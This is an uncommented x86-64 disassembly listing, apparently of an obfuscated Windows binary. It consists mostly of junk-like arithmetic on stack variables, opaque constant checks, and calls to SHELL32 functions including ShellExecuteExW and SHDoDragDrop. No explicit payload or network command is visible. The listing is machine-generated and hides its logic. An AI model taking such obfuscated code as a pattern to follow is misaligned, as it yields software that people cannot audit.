movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1540]
add eax, ecx
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbb78]
mov byte [rcx], al
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6918]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xbaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1402c90a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6904]
sub eax, 0xd7
mov dword [rsp + 0x6904], eax
mov eax, dword [rsp + 0x6900]
mov ecx, dword [rsp + 0x68ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68b0], eax
mov rax, qword [rsp + 0xbb38]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbb70], rax
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56]
shl eax, cl
mov byte [rsp + 0x54], al
movsx eax, word [rsp + 0x1544]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c748a]
and eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x68a0]
mov ecx, dword [rsp + 0x68d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbaf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xba08]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1402c7490], rax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xbb08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbb38]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x154c]
add eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1540], ax
movsx eax, word [rsp + 0x154c]
movsx ecx, word [rsp + 0x1548]
xor eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x6900]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6918]
movzx ecx, al
mov eax, dword [rsp + 0x68a0]
shr eax, cl
mov dword [0x1402c90a0], eax
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov rcx, qword [rsp + 0xbb78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x59], al
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1530], ax
movzx eax, word [rsp + 0x1540]
movzx ecx, word [rsp + 0x153c]
sub eax, ecx
mov word [rsp + 0x1538], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56]
add eax, ecx
mov byte [rsp + 0x51], al
movsx eax, word [rsp + 0x1530]
movsx ecx, word [rsp + 0x1548]
sub eax, ecx
mov word [rsp + 0x1544], ax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1402c90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xba70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb70]
mov rcx, qword [rsp + 0xb9d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb08], rax
mov eax, dword [rsp + 0x68f4]
movzx ecx, al
mov eax, dword [rsp + 0x68d4]
shl eax, cl
mov dword [rsp + 0x68fc], eax
cmp dword [rsp + 0x6904], 0x2387
jae 0x14000892a
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov qword [rsp + 0xbba8], rax
cmp qword [rsp + 0xbba8], 0
je 0x140008ed5
jmp 0x140009047
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x6954], al
cmp byte [rsp + 0x6954], 0
je 0x140008ef0
jmp 0x140009027
mov rax, qword [rsp + 0xba70]
mov rcx, qword [0x1402c90a8]
mov qword [rsp + 0xbbb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbbb0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xbb40]
mov rdx, qword [rsp + 0xb9b0]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jb 0x14000900f
movzx eax, word [rsp + 0x1534]
mov word [rsp + 0x1550], ax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xba70]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140008fc1
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov byte [rcx], al
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x5a], al
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x154c]
add eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
jmp 0x14000900d
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x152c]
add eax, ecx
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x1550]
sub ecx, edx
cmp eax, ecx
je 0x14000900d
lea rdx, [rsp + 0xbb60]
lea rcx, [rsp + 0xbb60]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0xbbb8], rax
jmp 0x140009025
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x56]
add eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
jmp 0x140009042
mov rax, qword [rsp + 0xbb00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68a0]
sub ecx, eax
mov eax, ecx
mov dword [0x1402c90a0], eax
jmp 0x140009132
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xbaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x68e4]
shl eax, cl
mov dword [rsp + 0x68b0], eax
mov rax, qword [rsp + 0xbb90]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x68e4]
mov edx, dword [rsp + 0x68ec]
mov ecx, dword [rsp + 0x68ec]
call fcn.140249af0
lea r9, [rsp + 0x34520]
lea r8, [rsp + 0xba50]
lea rdx, [rsp + 0xbb20]
mov rcx, qword [rsp + 0xbaa0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x6938], eax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xb9b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xbb40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0xbad0]
mov r9d, dword [rax]
mov r8, qword [0x1402c7490]
mov rax, qword [rsp + 0xba80]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x1548]
call fcn.140249b70
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x5b], al
lea rax, [rsp + 0x153c]
mov qword [rsp + 0xbbc0], rax
movsx eax, byte [0x1402c748a]
movsx ecx, byte [rsp + 0x57]
sar eax, cl
mov byte [rsp + 0x58], al
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0x6958], al
cmp byte [rsp + 0x6958], 0x14
je 0x140009178
jmp 0x140009230
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
or eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov byte [rcx], al
movsx eax, word [rsp + 0x154c]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402c7498], eax
lea rdx, [rsp + 0xbb08]
lea rcx, [rsp + 0x34510]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x6920], eax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xb9b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov r8, qword [rsp + 0xbb68]
mov rax, qword [rsp + 0xb9b8]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
call fcn.140249c40
jmp 0x1400092fd
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xba88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb9d8], rax
movsx eax, word [rsp + 0x1530]
movsx ecx, word [rsp + 0x1544]
add eax, ecx
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0xba90]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x1400092fd
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov dword [rsp + 0x695c], eax
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
lea rax, [rsp + 0x1548]
mov qword [rsp + 0xbbc8], rax
movzx eax, word [rsp + 0x1540]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1550], ax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c748a]
sub eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
lea rax, [rsp + 0x1538]
mov qword [rsp + 0xbbd0], rax
lea rax, [rsp + 0x5b]
mov qword [0x1402c90b8], rax
mov rax, qword [rsp + 0xbb68]
mov qword [rsp + 0xbbd8], rax
cmp qword [rsp + 0xbbd8], 0
je 0x140009351
movabs rax, 0x783571d2222caa
cmp qword [rsp + 0xbbd8], rax
je 0x140249481
jmp 0x140249559
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [0x1402c748c]
movzx edx, word [rsp + 0x1534]
sub ecx, edx
cmp eax, ecx
jg 0x1400093db
movzx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0xbaf8]
mov r9d, dword [rax]
mov rax, qword [rsp + 0xbaa8]
mov r8, qword [rax]
movzx edx, byte [0x1402c748a]
mov rax, qword [rsp + 0xba68]
movzx ecx, word [rax]
call fcn.140249b70
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
add eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
mov byte [rsp + 0x5c], al
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c748b], al
mov rax, qword [rsp + 0xba68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1548], ax
mov eax, dword [rsp + 0x68ec]
mov ecx, dword [rsp + 0x68d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb00]
mov ecx, dword [rsp + 0x695c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb08]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1534], ax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x54], al
movzx eax, word [rsp + 0x1538]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1550], ax
mov rax, qword [rsp + 0xba70]
mov rcx, qword [rsp + 0xbb68]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x1402c90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xba08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6900], eax
mov eax, dword [rsp + 0x68fc]
mov ecx, dword [rsp + 0x6918]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x695c], eax
mov rax, qword [rsp + 0xbb08]
mov rcx, qword [rsp + 0xbb70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9d8], rax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [0x1402c748b]
sub eax, ecx
mov byte [rsp + 0x54], al
movzx eax, word [rsp + 0x1550]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
movsx eax, byte [rsp + 0x5b]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [0x1402c748a], al
movsx eax, word [rsp + 0x154c]
mov rcx, qword [rsp + 0xbbc8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xba08]
shr rax, cl
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb70]
mov rcx, qword [rsp + 0xbb08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9d8], rax
mov eax, dword [rsp + 0x689c]
add eax, 0xe3
mov dword [rsp + 0x689c], eax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x695c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68d8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x56]
movzx ecx, byte [rsp + 0x59]
sub eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
cmp dword [rsp + 0x689c], 0x9605
jb 0x140009422
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
mov rcx, qword [0x1402c90b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x58]
sub eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov dword [rsp + 0x6960], eax
cmp dword [rsp + 0x6960], 0x707
je 0x14000975e
cmp dword [rsp + 0x6960], 0x7e88
je 0x1400097b3
jmp 0x1402493a3
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbaa8]
mov qword [rsp + 0xbbe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbbe0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xba70], rax
jmp 0x1402493a3
movzx eax, word [rsp + 0x1540]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbbc0]
mov word [rcx], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
xor eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov byte [0x1402c748a], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x152c], ax
mov eax, dword [rsp + 0x68f4]
mov ecx, dword [rsp + 0x68a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68fc], eax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbb08], rax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xbb68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1544]
add eax, ecx
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c748b], al
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xbb68]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xba70], rax
mov eax, dword [rsp + 0x6930]
add eax, 0x8b
mov dword [rsp + 0x6930], eax
mov rax, qword [rsp + 0xbad0]
mov ecx, dword [rsp + 0x68f4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb9d8]
sar rax, cl
mov rcx, qword [rsp + 0xbb38]
mov qword [rcx], rax
cmp dword [rsp + 0x6930], 0xb85d
jbe 0x1400097b3
movsx eax, byte [rsp + 0x5b]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rsp + 0xbb80]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jl 0x140249349
movzx eax, byte [rsp + 0x5b]
mov byte [rsp + 0x5d], al
movzx eax, byte [0x1402c748a]
mov byte [rsp + 0x6964], al
cmp byte [rsp + 0x6964], 1
je 0x140009a6e
cmp byte [rsp + 0x6964], 0x54
je 0x140009a24
jmp 0x140009b13
mov r9d, dword [rsp + 0x68ec]
mov rax, qword [rsp + 0xbb90]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x68ec]
mov ecx, dword [rsp + 0x68ec]
call fcn.140249af0
movzx eax, word [0x1402c90b0]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov word [rcx], ax
jmp 0x140009b13
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov qword [rsp + 0xbbe8], rax
cmp qword [rsp + 0xbbe8], 0
je 0x140009abb
movabs rax, 0x7075f31a7653b2
cmp qword [rsp + 0xbbe8], rax
je 0x140009aa2
jmp 0x140009b13
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x59]
sub eax, ecx
mov byte [0x1402c748b], al
call fcn.140249c00
jmp 0x140009b13
movsx eax, word [rsp + 0x1530]
movsx ecx, word [rsp + 0x154c]
sub eax, ecx
mov word [rsp + 0x1544], ax
mov rax, qword [rsp + 0xbb08]
mov qword [rsp + 0xbbf0], rax
mov rax, qword [rsp + 0xbb68]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba70], rax
lea rax, [rsp + 0x68b0]
mov qword [rsp + 0xbbf8], rax
lea rax, [rsp + 0x695c]
mov qword [rsp + 0xbc00], rax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xbc08], rax
cmp qword [rsp + 0xbc08], 0
je 0x140009b46
jmp 0x140009bdf
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbb08]
mov rdx, qword [rsp + 0xbbf0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140009bc5
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x1530]
shl eax, cl
mov rcx, qword [rsp + 0xbbc8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
movzx ecx, word [0x1402c748c]
or eax, ecx
mov word [rsp + 0x1550], ax
lea rax, [rsp + 0x1538]
mov qword [rsp + 0xbc10], rax
jmp 0x140009bdd
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402c748b], al
jmp 0x140009c2f
lea rax, [rsp + 0x6968]
mov qword [rsp + 0x20], rax
mov r9d, 6
lea r8, [rsp + 0xbc18]
lea rdx, [rsp + 0x56]
mov rcx, qword [rsp + 0xbc20]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x691c], eax
mov rax, qword [0x1402c90b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
and eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
movzx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbf8]
mov eax, dword [rax]
mov dword [rsp + 0x696c], eax
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
mov eax, dword [rsp + 0x68f4]
mov ecx, dword [rsp + 0x68d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68a0], eax
lea rax, [rsp + 0xbbf0]
mov qword [rsp + 0xbc28], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbbf0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9d8]
mov rdx, qword [rsp + 0xbb08]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140009dda
movzx eax, word [rsp + 0x1538]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402c748c], ax
lea rcx, [rsp + 0xbb78]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x691c], eax
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1550], ax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68e4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x68ec], eax
lea rcx, [rsp + 0x345f0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x6938], eax
mov rax, qword [rsp + 0xbb00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbb08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0xbb68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
jmp 0x1402492f3
movsx eax, byte [0x1402c748a]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xbaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbb00]
mov rdx, qword [rsp + 0xbad0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x140009ea0
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x153c]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov word [rcx], ax
lea rcx, [rsp + 0x68d4]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x6970], eax
mov rax, qword [rsp + 0xbbf8]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x68b0]
mov edx, dword [rsp + 0x696c]
mov rax, qword [rsp + 0xbbf8]
mov ecx, dword [rax]
call fcn.140249af0
mov rax, qword [rsp + 0xba70]
